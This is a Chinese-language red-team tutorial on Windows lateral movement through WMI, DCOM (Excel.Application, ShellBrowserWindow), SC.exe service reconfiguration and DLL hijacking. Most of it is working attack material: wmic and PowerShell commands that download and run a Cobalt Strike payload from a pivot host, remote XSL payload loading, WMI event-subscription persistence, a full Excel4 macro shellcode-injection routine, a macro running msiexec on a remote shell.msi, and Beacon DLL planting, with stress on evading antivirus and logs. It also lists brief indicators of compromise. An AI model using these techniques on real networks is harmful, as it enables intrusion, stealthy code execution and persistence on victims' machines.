- 0x10 WMI 远程执行
- 0X20 DCOM 远程执行
- 0X21 利用条件
- 0x22 利用方式
- 使用EXCEL.APPLICATION
- 利用ExecuteExcel4Macro实现横向移动
- 利用RegisterXLL实现横向移动-method-to-load-dll/)">利用RegisterXLL实现横向移动-method-to-load-dll/)
- 工具
- 使用EXCEL.APPLICATION
- IoC
- 参考
- 通过服务配置管理器进行横向移动SC.exe
- Dll-hijacking
- 其他
Windows Lateral Movement , go go go!!!
横向移动是指从一个受损的主机转移到另一个主机的过程。横向移动的难点是在做好操作安全(OpSec)的前提下进行,也就是尽可能少的生成日志,或者生成看起来正常的日志,也就是躲在明处,避免被发现。
通过服务进行的横向移动已从SMB协议过渡到RPC和WMI。
作为一个红色团队,重要的是要了解可用的技术,其功能以及可能因使用特定技术或工具而产生的指标。
0x10 WMI 远程执行
WMI(Windows Management Instrumentation,Windows管理规范)是一项核心的Windows管理技术;用户可以使用WMI管理本地和远程计算机。
优点:避免了命令行执行和文件系统工件来实现任意脚本执行。缺点:wmic命令无回显,但是可借助其他脚本(wmiexec.vbs)来实现回显功能。
0x11 利用条件
- 启动WMI服务(默认开启)。
- 开放135端口
0x12 利用方式
windows系统自带的wimc横向上线
原理:使用wmic 执行命令
wmic /node:ip /user:domain_name\administrator /password:password process call create "cmd.exe /c calc"原理:使用powershell,创建服务或调用WMI Win32_Process.Create或Win32_Product.Install方法执行命令Invoke-WmiMethod -class win32_process -name create -argumentlist ‘notepad’ -ComputerName 172.16.127.184 -Credential ‘domain_name\administrator’
wmiexec.vbs执行有回显的原理
- 调用WMI通过账号密码或者NTLM认证(WCE注入)连接到远程计算机
- 建立一个到目标的IPC连接
- 建立一个共享文件夹,用于远程读取命令执行结果
- 用户输入命令时,WMI创建进程执行该命令,然后把结果输出到文件
- 通过FSO组件访问远程共享文件夹中的结果文件,将结果输出
- 调用WMI执行命令删除结果文件
- WMIEXEC退出时,删除文件共享
利用cs生成一个web交互式Payload来实现无文件落地上线。
Tips:因为目标主机不出网所以需要把 http://39.100.x.x:7799/a 上的payload,复制下来并在跳板机开启WEB服务,使受害机下载并执行跳板机上的Payload,上线CS。
跳板机安装了 python 运行如下命令快速开启WEB服务。
shell python -m SimpleHTTPServer 8080shell wmic /node:ip /user:administrator /password:password process call create "powershell.exe -nop -w hidden -c IEX ((new-object net.webclient).downloadstring('http://192.168.200.222:8080/payload.txt'))"
利用wmic调用xsl文件
使用wmic能够从本地或从URL调用XSL(可扩展样式表语言)脚本
作为payload来使用(从URL调用XSL脚本,利用XSL执行exe、shellcode、powershell脚本)
本地:
wmic process list /FORMAT:evil.xsl
远程:
wmic os get /FORMAT:"https://example.com/evil.xsl"
创建进程
wmic process call create "\\?\UNC\127.0.0.1\C$\windows\system32\calc.exe"rundll32.exe url.dll, OpenURL "\\?\UNC\127.0.0.1\C$\windows\system32\calc.exe"wmic process call create "\\.\GLOBALROOT\??\UNC\127.0.0.1\C$\windows\system32\calc.exe"
WMI ActiveScriptEventConsumers远程执行
ActiveScriptEventConsumer->向事件传递事件时,以任意脚本语言执行预定义的脚本。
ActiveScriptEventConsumer类允许从JScript或VBScript引擎执行脚本代码。最后,WMI脚本宿主进程为%SystemRoot%\system32\wbem\scrcons.exe。
TL;DR
string NAMESPACE = "\\\\\\\\" + Config.REMOTE_HOST + "\\\\root\\\\subscription";ConnectionOptions cOption = new ConnectionOptions();ManagementScope scope = null;scope = new ManagementScope(NAMESPACE, cOption);if (!String.IsNullOrEmpty(ACTIVE_DIRECTORY_USERNAME) && !String.IsNullOrEmpty(ACTIVE_DIRECTORY_PASSWORD)){scope.Options.Username = ACTIVE_DIRECTORY_USERNAME;scope.Options.Password = ACTIVE_DIRECTORY_PASSWORD;scope.Options.Authority = string.Format("ntlmdomain:{0}", ACTIVE_DIRECTORY_DOMAIN);}scope.Options.EnablePrivileges = true;scope.Options.Authentication = AuthenticationLevel.PacketPrivacy;scope.Options.Impersonation = ImpersonationLevel.Impersonate;
所需的组件,事件和消费者必须绑定在一起。
- 事件筛选器:WQL事件查询,用于将事件筛选为特定条件集,例如刚刚在端点上生成的Outlook.exe。
Select * From __InstanceCreationEvent Within 5Where TargetInstance Isa “Win32_Process” AND TargetInstance.Name = "Outlook.exe"WMI事件触发$filterName = 'BotFilter82'$consumerName = 'BotConsumer23'$exePath = 'C:\Windows\System32\notepad.exe'//过滤器$Query = "SELECT * FROM __InstanceModificationEvent WITHIN 60 WHERE TargetInstance ISA 'Win32_PerfFormattedData_PerfOS_System'"$WMIEventFilter = Set-WmiInstance -Class __EventFilter -NameSpace "root\subscription" -Arguments @{Name=$filterName;EventNameSpace="root\cimv2";QueryLanguage="WQL";Query=$Query} -ErrorAction Stop -ComputerName 172.16.127.184 -Credential 'jumbolab.com\win7user'$WMIEventConsumer = Set-WmiInstance -Class CommandLineEventConsumer -Namespace "root\subscription" -Arguments @{Name=$consumerName;ExecutablePath=$exePath;CommandLineTemplate=$exePath} -ComputerName 172.16.127.184 -Credential 'jumbolab.com\win7user'Set-WmiInstance -Class __FilterToConsumerBinding -Namespace "root\subscription" -Arguments @{Filter=$WMIEventFilter;Consumer=$WMIEventConsumer}
- 事件使用者:这是事件触发时我们想要执行的特定操作
ActiveScriptEventConsumer和CommandLineEventConsumer类。在ActiveScriptEventConsumer类允许的脚本代码的执行(来自JScript或VBScript的发动机),而CommandLineEventConsumer类允许将运行任意命令。可以避免在LOLBin雷区中行驶的麻烦。
工具类
SharpWMI
SharpWMI是各种WMI功能的C#实现。这包括本地/远程WMI查询,通过win32_process创建远程WMI进程以及通过WMI事件订阅远程执行任意VBS。远程方法也支持备用凭据。
https://github.com/GhostPack/SharpWMI
sharpwmi
server将命令结果存在本机注册表,然后client连接注册表进行读取命令结果
https://github.com/QAX-A-Team/sharpwmi
WMIHACKER
免杀横向渗透远程命令执行,常见的WMIEXEC、PSEXEC执行命令是创建服务或调用Win32_Process.create执行命令,这些方式都已经被杀软100%拦截,通过改造出WMIHACKER免杀横向移动测试工具。(无需445端口)
https://github.com/360-Linton-Lab/WMIHACKER
CIMplant
CIMplant是一个C#重写和扩展上@christruncer的WMImplant。它使您可以收集有关远程系统的数据,执行命令,提取数据等。该工具允许使用Windows Management Instrumentation WMI或公共接口模型CIM进行连接;Windows Management Infrastructure MI更准确。CIMplant需要目标系统上的本地管理员权限。
https://github.com/FortyNorthSecurity/CIMplant
CS命令:
execute-assembly 内存加载执行.NET程序集execute-assembly .netpath [arguments]注:就是普通的内存加载执行.net程序
Impacket-wmiexec.py
半交互式外壳,可通过Windows Management Instrumentation使用。不需要在目标服务器上安装任何服务/代理。以管理员身份运行。高度隐秘。
https://github.com/SecureAuthCorp/impacket
Cobalt Strike 中的WMI
Cobalt Strike利用WMI在目标上执行Powershell负载,因此使用内置WMI时PowerShell.exe将打开,这会有操作安全性的问题,因为执行的是base64编码的负载。
IoC
- WMI Win32_Process Class and Create Method for Remote Execution 主要是创建服务或调用WMI Win32_Process.Create或Win32_Product.Install方法执行命令获取 参考
- Remote WMI ActiveScriptEventConsumers 使用ActiveScriptEventConsumers(ActiveScriptEventConsumer类允许从JScript或VBScript引擎执行脚本代码。)远程部署WMI事件参考
- Remote WMI Wbemcomn DLL Hijack 使用WMI进行远程DLL劫持 参考
参考
https://www.mdsec.co.uk/2020/09/i-like-to-move-it-windows-lateral-movement-part-1-wmi-event-subscription/
https://3gstudent.github.io/3gstudent.github.io/利用wmic调用xsl文件的分析与利用/
https://mp.weixin.qq.com/s/iwZtY-tToNRQYRi_qRQwjg
0X20 DCOM 远程执行
在Windows系统中进行横向移动的招数是非常有限的,可利用的技术屈指可数,例如psexec、WMI、at、计划任务和WinRM(如果已启用)等。
COM是Windows的一个组件,用于增强软件之间的可操作性,DCOM使用远程过程调用(RPC)将其扩展到整个网络上。因此,在远程系统上托管COM服务器端的软件(通常在DLL或exe中)可以通过RPC向客户端公开其方法。
。
优点: 在远程主机上执行的进程将会是托管COM服务器端的软件。(隐蔽性)
探索支持DCOM的应用程序,使用Win32_DCOMApplicationWMI类进行列举:
Get-CimInstance -Class Win32_DCOMApplication | select appid,name \\只适用于Powershell 3.0及以上Get-WmiObject -Namespace ROOT\CIMV2 -Class Win32_DCOMApplication \\Win7默认为2.0不支持,替代命令{c08afd90-f2a1-11d1-8455-00a0c91f3880} ShellBrowserWindow
根据这个列表,接下来可以实例化每个AppID,并使用 Get-Membercmdlet列出可用的方法:
$obj = [activator]::CreateInstance([type]::GetTypeFromCLSID("c08afd90-f2a1-11d1-8455-00a0c91f3880"))$obj | Get-MemberApplication Property IDispatch Application () {get}$obj.Document.Application | Get-MemberShellExecute Method void ShellExecute (string, Variant, Variant, Variant, Variant)
ShellBrowserWindow COM对象的公开方法,比较常用的方法,就是其中的Document.Application.ShellExecute。所以如果我们滥用ShellBrowserWindow COM对象,那么就会在远程主机的现有explorer.exe进程中执行。
0X21 利用条件
- 需要目标Windows机器事先已关闭防火墙
- 主要针对高版本windows[2012r2之后的系统]
- 具有管理员权限的PowerShell
- 在远程主机上执行命令时,必须使用域管的administrator账户或者目标主机具有管理员权限的账户
0x22 利用方式
使用EXCEL.APPLICATION
利用ExecuteExcel4Macro实现横向移动
主要是利用Excel 4.0的宏,XML宏,Excel 4.0宏也通过ExecuteExcel4Macro方法公开给DCOM。修改了过程注入XLM宏示例(使用XLM代码可以直接访问Win32 API,将其写入内存,并启动新线程,访问进行shellcode注入,执行shellcode),使其也可以通过DCOM在远程主机上工作,DCOM通过ExecuteExcel4Macro将shellcode注入到excel.exe中。
可用于网络钓鱼,3月3日,微软加入了对Excel 4.0 宏的AMSI接口扫描
- EXCELntDonut是XLM(Excel 4.0)宏生成器
- 使用msf生成msi文件,利用msi来执行,python开启http
=EXEC("msiexec /q /i http://192.168.xx.xx/shell.msi")=HALT()
这种方法的主要优势在于,目前的反病毒引擎还没有普遍支持XLM宏,并且利用这种技术,可以在DCOM启动的excel.exe进程内以无文件的方式执行该技术。因此,这种方法允许攻击者将与横向移动技术相关的指标最小化,并降低检测的概率。
查看ExcelCOM类的实例:
$excel = [activator]::CreateInstance([type]::GetTypeFromprogID("Excel.Application"))$excel | Get-Member | findstr "ExecuteExcel4Macro"ExecuteExcel4Macro Method Variant ExecuteExcel4Macro (string)$excel.ExecuteExcel4Macro('EXEC("calc.exe")')
Excel4-DCOM工具
$excel = [activator]::CreateInstance([type]::GetTypeFromProgID("Excel.Application", "$ComputerName"))$sc = get-content -Encoding Byte $Payload$memaddr = $excel.ExecuteExcel4Macro('CALL("Kernel32","VirtualAlloc","JJJJJ",0,' + $sc.length + ',4096,64)')$count = 0foreach ($byte in $sc) {$string = "CHAR`($byte`)"$ret = $excel.ExecuteExcel4Macro('CALL("Kernel32","WriteProcessMemory","JJJCJJ",-1, ' + ($memaddr + $count) + ',' + $string + ', 1, 0)')$count = $count + 1Write-Progress -Id 1 -Activity "Invoke-Excel4DCOM" -CurrentOperation "Injecting shellcode" -PercentComplete ($count / $sc.length * 100)}$excel.ExecuteExcel4Macro('CALL("Kernel32","CreateThread","JJJJJJJ",0, 0, ' + $memaddr + ', 0, 0, 0)')
利用RegisterXLL实现横向移动-method-to-load-dll/)
通过初始化Excel.Application COM对象并将DLL传递到RegisterXLL方法,可以通过Excel加载和执行DLL。该DLL的路径并没有需要是本地的,也可以是一个UNC路径指向一个远程WebDAV服务器。
$Com = [Type]::GetTypeFromProgID("Excel.Application","192.168.1.111")$Obj = [System.Activator]::CreateInstance($Com)# Detect Office bitness so proper DLL can be used$isx64 = [boolean]$obj.Application.ProductCode[21]# Load DLL from WebDAV$obj.Application.RegisterXLL("\\webdavserver\addins\calcx64.dll")
ExcelDllLoader
https://github.com/3gstudent/ExcelDllLoader
工具
powershell脚本
https://github.com/rvrsh3ll/Misc-Powershell-Scripts/blob/master/Invoke-DCOM.ps1
impacket-dcomexec-与wmiexec.py类似的半交互式外壳,但使用不同的DCOM端点。当前支持MMC20.Application,ShellWindows和ShellBrowserWindow对象。
https://github.com/SecureAuthCorp/impacket/blob/impacket_0_9_22/examples/dcomexec.py
Excel4-DCOM
https://github.com/outflanknl/Excel4-DCOM
SharpExcel4-DCOM
https://github.com/rvrsh3ll/SharpExcel4-DCOM
IoC
参考
https://enigma0x3.net/2017/09/11/lateral-movement-using-excel-application-and-dcom/
https://www.mdsec.co.uk/2020/09/i-like-to-move-it-windows-lateral-movement-part-2-dcom/
https://3gstudent.github.io/3gstudent.github.io/域渗透-利用DCOM在远程系统执行程序/
https://www.freebuf.com/articles/network/261454.html
https://3gstudent.github.io/3gstudent.github.io/Use-Excel.Application-object’s-RegisterXLL()-method-to-load-dll/-method-to-load-dll/)
通过服务配置管理器进行横向移动SC.exe
服务控制(SC.exe)是Microsoft实用程序,管理员可以使用它在Windows环境中创建,修改,删除,启动和停止服务。
它不是创建一个服务,而是简单地远程打开一个服务,通过ChangeServiceConfigA(所以要事先知道目标上的服务名称)
然后它就会启动服务。
唯一需要注意的是,可执行文件必须特别是服务二进制文件。服务二进制在必须“签入”服务控制管理器(SCM)的意义上有所不同,如果没有,则将退出执行。因此,如果为此使用了非服务二进制文件,则它将作为代理/信标返回一秒钟,然后消失。
执行完成后,服务二进制路径就会恢复到原来的路径。使用QueryServiceConfigA提取原始服务路径。
一切都在DCERPC上发生,包括认证。
工具
SCShell中实现了一种新的使用服务横向移动的方法。.NET版本使用了 “OpenSCManager “API,根据微软的文档,该API使用了远程过程调用,它并没有创建一个新的服务,因为它依赖于修改现有服务的二进制路径,而且它可以通过使用regsvr32方法来使用无文件的有效载荷。
优点:是一个无文件的横向移动工具,依靠ChangeServiceConfigA来运行命令。这个工具的好处是,它不对SMB进行认证。一切都通过DCERPC来执行。
该工具可以在不注册服务或创建服务的情况下远程使用。它也不需要在远程系统上丢弃任何文件* (取决于执行时使用的技术)
与直接使用 sc.exe 的差别在于:如果当前进程无远程主机的权限,则需要使用 SMB 协议进行身份验证,后续步骤两者相同。
一般的服务有:XblAuthManager ,defragsvc ,msbuild等
实现此工具的技术细节
过程与 PsExec 操作服务的步骤大部分相同,区别仅是因为 SCshell是更改配置,而 PsExec 是创建服务。
参考
https://rcoil.me/2019/12/【渗透技巧】SCshell 技术细节/
Dll-hijacking
基于以上几个服务的利用,加上dll劫持技术。
利用DLL劫持
转DLL劫持的文章
利用WMI劫持
procmon进行监视,查找出可以劫持的DLL
这时,需要创建一个包含有效载荷的DLL—即Cobalt Strike信标。这个DLL将被放置在目标系统的c:\windows\system32\wbemcomn.dll中,因为它不见了,而wmiprvs.exe正试图加载它。
可以使用SMB在其中一个位置植入代理DLL,当wmiprvse.exe产生时,将提供具有NETWORK SERVICE权限的代码执行,可以使用@EthicalChaos的SweetPotato来提权。
这时,使用DLL proxying,将cs的beacon.dll 作为代理,转发wbemcomn的dll。使用工具NetClone
然后,可以使用SMB将DLL植入到远程系统上。使用WMI连接时就会触发。
利用DCOM劫持
通过DLL劫持,几乎所有通过DCOM公开的类都可能导致横向移动。
主要对 InternetExplorer.Application 类的实例化
使用DCOM实例化一个对象,查看在实例化过程,缺少的几个DLL。与WMI方式相同,先远程植入DLL。

劫持InternetExplorer.Application 类的中的(c:\Program Files\Internet Explorer\iertutil.dll”),然后远程实例化一个InternetExplorer.Application 对象:
然后象远程实例化一个InternetExplorer.Application 对象,DLL中的payload就会触发。
利用SC劫持
主要对IKEEXT(IKE and AuthIP IPsec Keying Modules)服务进行劫持
主要是利用一下三个DLL
利用wlbsctrl.dll实现的提权
利用TSMSISrv.dll和TSVIPSrv.dll实现的后门
利用MF.dll实现的后门
替换dll方式与上面的方式相同,最后使用SC 进行远程执行。
具体方式,查看三好学生大佬文章
IoC
通过检测SMB上的DLL写入。 WMI wbemcomn.dll劫持事件ID的工作流程
InternetExplorer.Application iertutil.dll劫持工作流程
参考
https://www.mdsec.co.uk/2020/10/i-live-to-move-it-windows-lateral-movement-part-3-dll-hijacking/
https://posts.specterops.io/lateral-movement-scm-and-dll-hijacking-primer-d2f61e8ab992
其他
利用 Windows 内置的工具进行横向渗透扫描
https://posts.slayerlabs.com/living-off-the-land/
工具
MSBuild,在不调用powershell.exe的情况下运行PowerShell命令
https://github.com/Mr-Un1k0d3r/PowerLessShell
无文件落地的命令执行工具
